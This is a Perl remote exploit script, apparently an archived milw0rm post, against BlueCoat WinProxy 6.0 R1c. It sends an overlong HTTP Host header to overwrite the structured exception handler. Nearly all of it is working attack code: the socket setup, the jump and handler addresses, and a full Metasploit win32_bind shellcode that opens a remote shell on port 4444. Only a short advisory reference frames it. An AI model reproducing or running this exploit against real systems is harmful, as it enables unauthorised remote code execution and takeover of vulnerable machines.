BlueCoat WinProxy 6.0 R1c - 'Host' Remote Stack Overflow (SEH)

#!perl
#
# "WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit
#
# Author:  FistFucker (aka FistFuXXer)
# e-Mail:  [email protected]
#
#
# Advisory:
# http://www.idefense.com/intelligence/vulnerabilities/display.php?id=364
#
# CVE info:
# CAN-2005-4085
#

use IO::Socket;

#
# destination IP address
#
$ip = '127.0.0.1';

#
# destination TCP port
#
$port = 80;

#
# SE handler. 0x00, 0x0a, 0x0d free
#
$seh = reverse( "\x01\x03\x12\x40" );  # POP/POP/RET
                                       # PAVDLL.01031240

#
# JMP SHORT to shellcode. 0x00, 0x0a, 0x0d free
#
$jmp = "\x90\x90\xeb\x32";             # [NOP][NOP][JMP|JMP]

#
# 0x00, 0x0a, 0x0d free shellcode
#
# win32_bind -  EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
#
$sc = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26".
      "\x8c\x6d\xa3\x83\xeb\xfc\xe2\xf4\xda\xe6\x86\xee\xce\x75\x92\x5c".
      "\xd9\xec\xe6\xcf\x02\xa8\xe6\xe6\x1a\x07\x11\xa6\x5e\x8d\x82\x28".
      "\x69\x94\xe6\xfc\x06\x8d\x86\xea\xad\xb8\xe6\xa2\xc8\xbd\xad\x3a".
      "\x8a\x08\xad\xd7\x21\x4d\xa7\xae\x27\x4e\x86\x57\x1d\xd8\x49\x8b".
      "\x53\x69\xe6\xfc\x02\x8d\x86\xc5\xad\x80\x26\x28\x79\x90\x6c\x48".
      "\x25\xa0\xe6\x2a\x4a\xa8\x71\xc2\xe5\xbd\xb6\xc7\xad\xcf\x5d\x28".
      "\x66\x80\xe6\xd3\x3a\x21\xe6\xe3\x2e\xd2\x05\x2d\x68\x82\x81\xf3".
      "\xd9\x5a\x0b\xf0\x40\xe4\x5e\x91\x4e\xfb\x1e\x91\x79\xd8\x92\x73".
      "\x4e\x47\x80\x5f\x1d\xdc\x92\x75\x79\x05\x88\xc5\xa7\x61\x65\xa1".
      "\x73\xe6\x6f\x5c\xf6\xe4\xb4\xaa\xd3\x21\x3a\x5c\xf0\xdf\x3e\xf0".
      "\x75\xdf\x2e\xf0\x65\xdf\x92\x73\x40\xe4\x7c\xff\x40\xdf\xe4\x42".
      "\xb3\xe4\xc9\xb9\x56\x4b\x3a\x5c\xf0\xe6\x7d\xf2\x73\x73\xbd\xcb".
      "\x82\x21\x43\x4a\x71\x73\xbb\xf0\x73\x73\xbd\xcb\xc3\xc5\xeb\xea".
      "\x71\x73\xbb\xf3\x72\xd8\x38\x5c\xf6\x1f\x05\x44\x5f\x4a\x14\xf4".
      "\xd9\x5a\x38\x5c\xf6\xea\x07\xc7\x40\xe4\x0e\xce\xaf\x69\x07\xf3".
      "\x7f\xa5\xa1\x2a\xc1\xe6\x29\x2a\xc4\xbd\xad\x50\x8c\x72\x2f\x8e".
      "\xd8\xce\x41\x30\xab\xf6\x55\x08\x8d\x27\x05\xd1\xd8\x3f\x7b\x5c".
      "\x53\xc8\x92\x75\x7d\xdb\x3f\xf2\x77\xdd\x07\xa2\x77\xdd\x38\xf2".
      "\xd9\x5c\x05\x0e\xff\x89\xa3\xf0\xd9\x5a\x07\x5c\xd9\xbb\x92\x73".
      "\xad\xdb\x91\x20\xe2\xe8\x92\x75\x74\x73\xbd\xcb\x58\x54\x8f\xd0".
      "\x75\x73\xbb\x5c\xf6\x8c\x6d\xa3";


print '"WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit'."\n\n";

$sock = IO::Socket::INET->new
(

    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 2

) or print '[-] Error: Could not establish a connection to the server!' and exit(1);

print "[+] Connected.\n";
print "[+] Trying to overwrite SE handler...\n";

$sock->send( "GET / HTTP/1.0\r\n" );
$sock->send( 'Host: 127.0.0.1:'. "\x90" x 23 . $jmp . $seh . "\x90" x 50 . $sc ."\r\n\r\n" );

print "[+] Done. Now check for bind shell on $ip:4444!";

close($sock);

# milw0rm.com [2006-01-07]